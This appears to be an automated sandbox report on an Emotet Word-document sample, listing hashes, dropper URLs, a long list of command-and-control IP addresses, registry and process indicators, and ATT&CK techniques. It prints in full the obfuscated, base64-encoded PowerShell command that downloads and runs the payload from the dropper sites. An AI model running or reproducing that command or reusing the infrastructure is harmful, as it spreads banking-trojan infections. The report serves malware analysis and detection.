emotet | 0c2f0e779e16a329037da7e3ba3b8c89fe246e93d8bc3beb6de83daf2c4d9e2c

Analysis

max time kernel
135s
max time network
132s
platform
windows10_x64
resource
win10
submitted
23/09/2020, 06:02

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General

Target
emotet_e1_0c2f0e779e16a329037da7e3ba3b8c89fe246e93d8bc3beb6de83daf2c4d9e2c_2020-09-23__060101238653._doc.doc
Size 169KB
Sample200923-m8drdplgke
SHA256 0c2f0e779e16a329037da7e3ba3b8c89fe246e93d8bc3beb6de83daf2c4d9e2c
MD5 191ad4dfe425dcde9308a474f58e890b
SHA1 06f21b2e54646c85dd145847b33c646b2da2f522
SHA512 6ffbdb7c22af5302f3d537e58161d4645d0e19011924d8a500be43550be828fa0611c76dad9576cacbc9e82f6a9a1b20869fd62b446f028a56b41e6661b7b057
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://riandutra.com/img/o9o/
exe.dropper
http://amyemitchell.com/themes/d3i/
exe.dropper
https://www.pxid360.com/wp-admin/w6X/
exe.dropper
http://zheliyouyy.com/wp-admin/3B/
exe.dropper
http://advanceddisposalsolutions.com/wp-includes/l/
exe.dropper
http://crazymut.com/d1ad_1a7z_jg4hewt/qWT/
exe.dropper
https://santyago.org/wp-content/qq/

Extracted

Family

emotet

192.81.38.31:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
54.37.42.48:8080
2.36.95.106:80
186.103.141.250:443
192.241.146.84:8080
94.176.234.118:443
12.162.84.2:8080
82.230.1.24:80
98.13.75.196:80
190.190.148.27:8080
177.129.17.170:443
202.4.58.197:80
77.90.136.129:8080
77.106.157.34:8080
95.9.180.128:80
83.169.21.32:7080
212.71.237.140:8080
77.238.212.227:80
201.213.177.139:80
78.249.119.122:80
50.28.51.143:8080
80.11.164.185:80
51.38.124.206:80
216.47.196.104:80
174.113.69.136:80
76.168.54.203:80
137.74.106.111:7080
67.247.242.247:80
217.199.160.224:7080
209.236.123.42:8080
199.203.62.165:80
185.94.252.27:443
192.241.143.52:8080
61.92.159.208:8080
185.178.10.77:80
123.51.47.18:80
190.24.243.186:80
64.201.88.132:80
51.15.7.189:80
177.73.0.98:443
74.58.215.226:80
60.93.23.51:80
187.162.248.237:80
152.169.22.67:80
38.88.126.202:8080
91.105.94.200:80
190.163.31.26:80
185.94.252.12:80
170.81.48.2:80
190.2.31.172:80
45.33.77.42:8080
111.67.77.202:8080
190.117.79.209:80
51.255.165.160:8080
110.142.219.51:80
45.16.226.117:443
92.24.50.153:80
178.250.54.208:8080
50.121.220.50:80
181.30.61.163:443
220.109.145.69:80
119.106.216.84:80
191.182.6.118:80
1.226.84.243:8080
87.106.46.107:8080
172.104.169.32:8080
204.225.249.100:7080
82.76.111.249:443
185.183.16.47:80
96.227.52.8:443
190.115.18.139:8080
104.131.103.37:8080
70.32.84.74:8080
186.70.127.199:8090
111.67.12.221:8080
96.245.123.149:80
138.97.60.141:7080
61.197.92.216:80
190.6.193.152:8080
213.197.182.158:8080
45.46.37.97:80
217.13.106.14:8080
104.131.41.185:8080
155.186.0.121:80
51.159.23.217:443
74.136.144.133:80
68.183.170.114:8080
70.32.115.157:8080
5.189.178.202:8080
35.143.99.174:80
5.196.35.138:7080
188.135.15.49:80
68.183.190.199:8080
177.74.228.34:80
185.215.227.107:443
189.2.177.210:443
72.47.248.48:7080
219.92.13.25:80
185.232.182.218:80
65.36.62.20:80
68.69.155.181:80
181.129.96.162:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	1512	POWeRsHeLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2680-11-0x00000000006C0000-0x00000000006D2000-memory.dmp	emotet
behavioral2/memory/2680-11-0x00000000006C0000-0x00000000006D2000-memory.dmp	emotet
behavioral2/memory/2680-12-0x00000000006E0000-0x00000000006F0000-memory.dmp	emotet
behavioral2/memory/2680-12-0x00000000006E0000-0x00000000006F0000-memory.dmp	emotet
behavioral2/memory/3904-15-0x0000000000670000-0x0000000000682000-memory.dmp	emotet
behavioral2/memory/3904-15-0x0000000000670000-0x0000000000682000-memory.dmp	emotet
behavioral2/memory/3904-16-0x0000000000690000-0x00000000006A0000-memory.dmp	emotet
behavioral2/memory/3904-16-0x0000000000690000-0x00000000006A0000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
14	2708	POWeRsHeLL.exe
32	2708	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2680	Hn_ui_s.exe
3904	adprovider.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDIC\adprovider.exe	Hn_ui_s.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2708	POWeRsHeLL.exe
2708	POWeRsHeLL.exe
2708	POWeRsHeLL.exe
3904	adprovider.exe
3904	adprovider.exe
3904	adprovider.exe
3904	adprovider.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 2680	2708	POWeRsHeLL.exe	82
PID 2708 wrote to memory of 2680	2708	POWeRsHeLL.exe	82
PID 2708 wrote to memory of 2680	2708	POWeRsHeLL.exe	82
PID 2680 wrote to memory of 3904	2680	Hn_ui_s.exe	83
PID 2680 wrote to memory of 3904	2680	Hn_ui_s.exe	83
PID 2680 wrote to memory of 3904	2680	Hn_ui_s.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0c2f0e779e16a329037da7e3ba3b8c89fe246e93d8bc3beb6de83daf2c4d9e2c_2020-09-23__060101238653._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3892

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABCADgAdABkAGYAMQBzAD0AKAAnAE4AJwArACgAJwA0AHgAJwArACcAdgBlACcAKQArACcAOAAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAEUAUgBQAHIATwBGAGkAbABlAFwASQA2AE8AeQBYAG8AMABcAHUAegBiAEoAVAA2AFEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQByAEkAVAB5AFAAYABSAGAATwBUAE8AQwBPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACgAJwAxACcAKwAnADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACsAJwAxADEAJwArACcALAAgAHQAbAAnACkAKwAnAHMAJwApADsAJABVAGkAZwA2ADUAMAB3ACAAPQAgACgAJwBIAG4AJwArACgAJwBfACcAKwAnAHUAaQBfAHMAJwApACkAOwAkAEoANwBkADYAagAyAG4APQAoACgAJwBVACcAKwAnAHcANAA5ACcAKQArACgAJwBwACcAKwAnAHMAYgAnACkAKQA7ACQAWQBtAHgAOAB1AGsAXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBJADYAbwB5AHgAbwAwAHsAMAAnACsAJwB9AFUAegBiACcAKwAnAGoAJwArACcAdAA2ACcAKwAnAHEAJwArACcAewAwACcAKwAnAH0AJwApACAALQBmACAAIABbAGMASABhAFIAXQA5ADIAKQArACQAVQBpAGcANgA1ADAAdwArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASQBzAGYANgAzAG8AeAA9ACgAKAAnAFoAJwArACcAeQBfACcAKQArACgAJwBmADcAJwArACcANwAnACkAKwAnAG0AJwApADsAJABFAHoAYgByAHEAMwB3AD0AJgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAGUAbgBUADsAJABFAHMAegBwADQAawAyAD0AKAAoACcAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwByAGkAJwApACsAKAAnAGEAbgAnACsAJwBkAHUAdAByACcAKQArACcAYQAuACcAKwAoACcAYwBvAG0AJwArACcALwBpACcAKQArACcAbQAnACsAKAAnAGcAJwArACcALwBvACcAKQArACgAJwA5AG8AJwArACcALwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYQAnACsAKAAnAG0AJwArACcAeQBlAG0AJwApACsAJwBpACcAKwAoACcAdABjACcAKwAnAGgAZQBsAGwALgAnACkAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALwB0AGgAJwArACcAZQAnACkAKwAoACcAbQAnACsAJwBlAHMAJwApACsAJwAvACcAKwAoACcAZAAnACsAJwAzAGkALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACkAKwAoACcAdwAuAHAAeABpAGQAMwAnACsAJwA2ACcAKwAnADAAJwArACcALgBjAG8AbQAvAHcAcAAtAGEAJwApACsAKAAnAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdwA2ACcAKwAnAFgAJwArACcALwAqAGgAdAAnACkAKwAnAHQAcAAnACsAJwA6AC8AJwArACgAJwAvAHoAJwArACcAaAAnACkAKwAoACcAZQBsAGkAJwArACcAeQAnACsAJwBvAHUAeQB5ACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdwBwAC0AJwArACcAYQAnACkAKwAnAGQAJwArACgAJwBtACcAKwAnAGkAbgAvACcAKQArACcAMwBCACcAKwAnAC8AJwArACcAKgAnACsAKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAGEAZAB2AGEAbgAnACsAJwBjAGUAJwApACsAJwBkACcAKwAoACcAZABpACcAKwAnAHMAcABvAHMAJwArACcAYQBsACcAKQArACcAcwAnACsAKAAnAG8AbAB1AHQAJwArACcAaQBvAG4AJwArACcAcwAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAnACsAJwAvAHcAcAAtACcAKQArACcAaQAnACsAKAAnAG4AYwAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAZQAnACsAJwBzAC8AbAAnACkAKwAoACcALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvAC8AYwByAGEAJwArACcAegB5ACcAKwAnAG0AdQB0AC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACsAJwAxAGEAJwApACsAJwBkAF8AJwArACcAMQBhACcAKwAoACcANwAnACsAJwB6AF8AagAnACkAKwAnAGcANAAnACsAJwBoAGUAJwArACgAJwB3ACcAKwAnAHQALwBxACcAKQArACcAVwBUACcAKwAnAC8AJwArACgAJwAqAGgAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAJwArACcAOgAnACsAJwAvACcAKwAnAC8AcwBhAG4AdAB5AGEAJwApACsAKAAnAGcAbwAuAG8AcgAnACsAJwBnAC8AdwAnACkAKwAnAHAALQAnACsAKAAnAGMAbwAnACsAJwBuAHQAZQAnACkAKwAoACcAbgAnACsAJwB0ACcAKwAnAC8AcQBxAC8AJwApACkALgAiAHMAcABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBfADIAagB4AHkAeAA9ACgAKAAnAEsAegAnACsAJwA0AHMAJwApACsAKAAnAGQANAAnACsAJwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASQA3AHQAbABvAHcAeAAgAGkAbgAgACQARQBzAHoAcAA0AGsAMgApAHsAdAByAHkAewAkAEUAegBiAHIAcQAzAHcALgAiAEQAYABvAGAAVwBuAEwAbwBBAEQARgBgAGkAbABlACIAKAAkAEkANwB0AGwAbwB3AHgALAAgACQAWQBtAHgAOAB1AGsAXwApADsAJABJAG4AaAAyADYAeQAzAD0AKAAoACcARgBnADcAdgAnACsAJwAzACcAKQArACcAaQBjACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABZAG0AeAA4AHUAawBfACkALgAiAGwAYABFAG4ARwBUAGgAIgAgAC0AZwBlACAAMwA3ADgAOAAyACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AJwArACcAawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFkAbQB4ADgAdQBrAF8AKQA7ACQAVAB0AHEAMwAzAF8AeQA9ACgAJwBKACcAKwAoACcAcQBjAHYAZgAnACsAJwA0AGYAJwApACkAOwBiAHIAZQBhAGsAOwAkAEYANQB0AHkAdwBoADIAPQAoACgAJwBUAGIAcQAnACsAJwAzACcAKQArACgAJwBjACcAKwAnAF8AZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWABoAG4AawBzAGEAdQA9ACgAJwBPADcAJwArACgAJwByACcAKwAnAGkAMQBvAGQAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Users\Admin\I6oyxo0\Uzbjt6q\Hn_ui_s.exe
  "C:\Users\Admin\I6oyxo0\Uzbjt6q\Hn_ui_s.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\SysWOW64\KBDIC\adprovider.exe
    "C:\Windows\SysWOW64\KBDIC\adprovider.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2680-12-0x00000000006E0000-0x00000000006F0000-memory.dmp

Download

memory/2680-11-0x00000000006C0000-0x00000000006D2000-memory.dmp

Download

memory/2708-5-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

Download

memory/2708-6-0x000001F42BC10000-0x000001F42BC11000-memory.dmp

Download

memory/2708-7-0x000001F42BCF0000-0x000001F42BCF1000-memory.dmp

Download

memory/3892-2-0x000001861FB99000-0x000001861FBA1000-memory.dmp

Download

memory/3892-4-0x000001861FB96000-0x000001861FB99000-memory.dmp

Download

memory/3892-3-0x000001861FB99000-0x000001861FBA1000-memory.dmp

Download

memory/3892-0-0x0000018614E30000-0x00000186154F6000-memory.dmp

Download

memory/3892-1-0x000001861FB64000-0x000001861FB6D000-memory.dmp

Download

memory/3904-15-0x0000000000670000-0x0000000000682000-memory.dmp

Download

memory/3904-16-0x0000000000690000-0x00000000006A0000-memory.dmp

Download